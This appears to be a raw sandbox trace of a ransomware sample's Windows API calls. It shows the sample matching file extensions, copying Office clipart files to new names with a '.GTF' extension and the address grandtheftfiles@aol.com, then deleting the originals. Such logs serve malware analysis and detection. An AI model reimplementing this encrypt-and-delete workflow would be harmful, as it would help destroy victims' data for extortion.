	[0085.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.262] lstrlenW (lpString=".rar") returned 4
	[0085.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.262] lstrlenW (lpString=".bz2") returned 4
	[0085.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.263] lstrlenW (lpString=".7z") returned 3
	[0085.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0085.263] lstrlenW (lpString=".dbf") returned 4
	[0085.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0085.263] lstrlenW (lpString=".1cd") returned 4
	[0085.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0085.263] lstrlenW (lpString=".jpg") returned 4
	[0085.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.263] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.263] lstrlenW (lpString="DD00255_.WMF") returned 12
	[0085.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0085.267] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2690) returned 1
	[0085.267] CloseHandle (hObject=0x380) returned 1
	[0085.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220
	[0085.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0085.268] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.268] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.280] GetLastError () returned 0x0
	[0085.280] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xa82, lpOverlapped=0x0) returned 1
	[0085.285] WriteFile (in: hFile=0x378, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xa90, lpOverlapped=0x0) returned 1
	[0085.286] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.286] WriteFile (in: hFile=0x378, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.286] SetEndOfFile (hFile=0x378) returned 1
	[0085.297] CloseHandle (hObject=0x378) returned 1
	[0085.300] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.300] SetEndOfFile (hFile=0x380) returned 1
	[0085.305] CloseHandle (hObject=0x380) returned 1
	[0085.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1
	[0085.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0085.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0085.312] lstrlenW (lpString=".doc") returned 4
	[0085.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.312] lstrlenW (lpString=".docx") returned 5
	[0085.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.312] lstrlenW (lpString=".pdf") returned 4
	[0085.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.312] lstrlenW (lpString=".xls") returned 4
	[0085.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.312] lstrlenW (lpString=".xlsx") returned 5
	[0085.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.312] lstrlenW (lpString=".ppt") returned 4
	[0085.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0085.312] lstrlenW (lpString=".zip") returned 4
	[0085.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.312] lstrlenW (lpString=".rar") returned 4
	[0085.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.312] lstrlenW (lpString=".bz2") returned 4
	[0085.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.312] lstrlenW (lpString=".7z") returned 3
	[0085.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0085.312] lstrlenW (lpString=".dbf") returned 4
	[0085.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0085.313] lstrlenW (lpString=".1cd") returned 4
	[0085.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0085.313] lstrlenW (lpString=".jpg") returned 4
	[0085.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0085.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0085.313] lstrlenW (lpString=".doc") returned 4
	[0085.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.313] lstrlenW (lpString=".docx") returned 5
	[0085.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.313] lstrlenW (lpString=".pdf") returned 4
	[0085.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.313] lstrlenW (lpString=".xls") returned 4
	[0085.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.313] lstrlenW (lpString=".xlsx") returned 5
	[0085.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.313] lstrlenW (lpString=".ppt") returned 4
	[0085.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0085.313] lstrlenW (lpString=".zip") returned 4
	[0085.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.313] lstrlenW (lpString=".rar") returned 4
	[0085.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.313] lstrlenW (lpString=".bz2") returned 4
	[0085.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.313] lstrlenW (lpString=".7z") returned 3
	[0085.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0085.313] lstrlenW (lpString=".dbf") returned 4
	[0085.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0085.313] lstrlenW (lpString=".1cd") returned 4
	[0085.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0085.314] lstrlenW (lpString=".jpg") returned 4
	[0085.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.314] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.314] lstrlenW (lpString="DD00297_.WMF") returned 12
	[0085.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.322] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=40030) returned 1
	[0085.322] CloseHandle (hObject=0x2fc) returned 1
	[0085.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220
	[0085.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.322] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.323] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.325] GetLastError () returned 0x0
	[0085.325] ReadFile (in: hFile=0x2fc, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x9c5e, lpOverlapped=0x0) returned 1
	[0085.327] WriteFile (in: hFile=0x368, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x9c60, lpOverlapped=0x0) returned 1
	[0085.329] ReadFile (in: hFile=0x2fc, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.329] WriteFile (in: hFile=0x368, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.329] SetEndOfFile (hFile=0x368) returned 1
	[0085.332] CloseHandle (hObject=0x368) returned 1
	[0085.334] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.334] SetEndOfFile (hFile=0x2fc) returned 1
	[0085.335] CloseHandle (hObject=0x2fc) returned 1
	[0085.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1
	[0085.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0085.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0085.336] lstrlenW (lpString=".doc") returned 4
	[0085.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.336] lstrlenW (lpString=".docx") returned 5
	[0085.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.336] lstrlenW (lpString=".pdf") returned 4
	[0085.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.336] lstrlenW (lpString=".xls") returned 4
	[0085.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.336] lstrlenW (lpString=".xlsx") returned 5
	[0085.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.336] lstrlenW (lpString=".ppt") returned 4
	[0085.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0085.336] lstrlenW (lpString=".zip") returned 4
	[0085.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.336] lstrlenW (lpString=".rar") returned 4
	[0085.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.336] lstrlenW (lpString=".bz2") returned 4
	[0085.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.336] lstrlenW (lpString=".7z") returned 3
	[0085.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0085.336] lstrlenW (lpString=".dbf") returned 4
	[0085.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0085.336] lstrlenW (lpString=".1cd") returned 4
	[0085.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0085.336] lstrlenW (lpString=".jpg") returned 4
	[0085.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0085.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0085.336] lstrlenW (lpString=".doc") returned 4
	[0085.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.336] lstrlenW (lpString=".docx") returned 5
	[0085.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.337] lstrlenW (lpString=".pdf") returned 4
	[0085.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.337] lstrlenW (lpString=".xls") returned 4
	[0085.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.337] lstrlenW (lpString=".xlsx") returned 5
	[0085.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.337] lstrlenW (lpString=".ppt") returned 4
	[0085.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0085.337] lstrlenW (lpString=".zip") returned 4
	[0085.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.337] lstrlenW (lpString=".rar") returned 4
	[0085.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.337] lstrlenW (lpString=".bz2") returned 4
	[0085.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.337] lstrlenW (lpString=".7z") returned 3
	[0085.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0085.337] lstrlenW (lpString=".dbf") returned 4
	[0085.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0085.337] lstrlenW (lpString=".1cd") returned 4
	[0085.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0085.337] lstrlenW (lpString=".jpg") returned 4
	[0085.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.337] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.337] lstrlenW (lpString="DD00407_.WMF") returned 12
	[0085.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.339] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=7828) returned 1
	[0085.340] CloseHandle (hObject=0x368) returned 1
	[0085.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220
	[0085.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.340] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.340] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0085.341] GetLastError () returned 0x0
	[0085.341] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1e94, lpOverlapped=0x0) returned 1
	[0085.354] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1ea0, lpOverlapped=0x0) returned 1
	[0085.355] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.355] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.355] SetEndOfFile (hFile=0x380) returned 1
	[0085.355] CloseHandle (hObject=0x380) returned 1
	[0085.357] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.357] SetEndOfFile (hFile=0x368) returned 1
	[0085.358] CloseHandle (hObject=0x368) returned 1
	[0085.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1
	[0085.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0085.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0085.358] lstrlenW (lpString=".doc") returned 4
	[0085.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.358] lstrlenW (lpString=".docx") returned 5
	[0085.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.358] lstrlenW (lpString=".pdf") returned 4
	[0085.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.359] lstrlenW (lpString=".xls") returned 4
	[0085.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.359] lstrlenW (lpString=".xlsx") returned 5
	[0085.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.359] lstrlenW (lpString=".ppt") returned 4
	[0085.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0085.359] lstrlenW (lpString=".zip") returned 4
	[0085.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.359] lstrlenW (lpString=".rar") returned 4
	[0085.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.359] lstrlenW (lpString=".bz2") returned 4
	[0085.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.359] lstrlenW (lpString=".7z") returned 3
	[0085.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0085.359] lstrlenW (lpString=".dbf") returned 4
	[0085.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0085.359] lstrlenW (lpString=".1cd") returned 4
	[0085.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0085.359] lstrlenW (lpString=".jpg") returned 4
	[0085.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0085.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0085.360] lstrlenW (lpString=".doc") returned 4
	[0085.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.360] lstrlenW (lpString=".docx") returned 5
	[0085.360] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.360] lstrlenW (lpString=".pdf") returned 4
	[0085.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.360] lstrlenW (lpString=".xls") returned 4
	[0085.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.360] lstrlenW (lpString=".xlsx") returned 5
	[0085.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.360] lstrlenW (lpString=".ppt") returned 4
	[0085.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
